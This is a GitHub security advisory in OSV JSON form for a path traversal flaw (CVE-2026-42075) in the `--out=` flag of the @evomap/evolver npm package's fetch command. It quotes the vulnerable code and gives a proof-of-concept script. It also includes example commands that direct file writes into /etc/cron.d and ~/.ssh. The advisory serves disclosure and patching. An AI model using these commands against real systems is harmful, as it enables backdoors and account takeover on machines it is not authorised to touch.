{"id":"GHSA-r466-rxw4-3j9j","summary":"Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write","details":"### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a =\u003e typeof a === 'string' && a.startsWith('--out='));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n  ? outFlag.slice('--out='.length)  // User-controlled path\n  : path.join('.', 'skills', safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n  const outDir = outFlag\n    ? outFlag.slice('--out='.length)  // No validation!\n    : path.join('.', 'skills', 'default');\n  \n  console.log('Target directory:', outDir);\n  console.log('Resolved path:', path.resolve(outDir));\n  \n  // In real code, this would write skill files\n  const targetFile = path.join(outDir, 'skill.js');\n  console.log('Would write to:', targetFile);\n  \n  return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log('=== Test 1: Normal path ===');\nvulnerableFetchSkill('--out=./my-skills/test');\n\nconsole.log('\\n=== Test 2: Path traversal ===');\nconst result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');\n\n// Actually demonstrate the vulnerability\nconsole.log('\\n=== Creating directory to prove traversal works ===');\ntry {\n  if (!fs.existsSync(result.outDir)) {\n    fs.mkdirSync(result.outDir, { recursive: true });\n  }\n  fs.writeFileSync(\n    path.join(result.outDir, 'poc.txt'),\n    'Path traversal successful!\\nThis file was written outside the intended directory.'\n  );\n  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));\n} catch (e) {\n  console.log('Error:', e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.","aliases":["CVE-2026-42075"],"modified":"2026-05-05T16:11:45.387164Z","published":"2026-04-22T22:06:15Z","database_specific":{"github_reviewed_at":"2026-04-22T22:06:15Z","nvd_published_at":"2026-05-04T17:16:24Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42075"},{"type":"PACKAGE","url":"https://github.com/EvoMap/evolver"},{"type":"WEB","url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.3"}],"affected":[{"package":{"name":"@evomap/evolver","ecosystem":"npm","purl":"pkg:npm/%40evomap/evolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.69.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-r466-rxw4-3j9j/GHSA-r466-rxw4-3j9j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}]}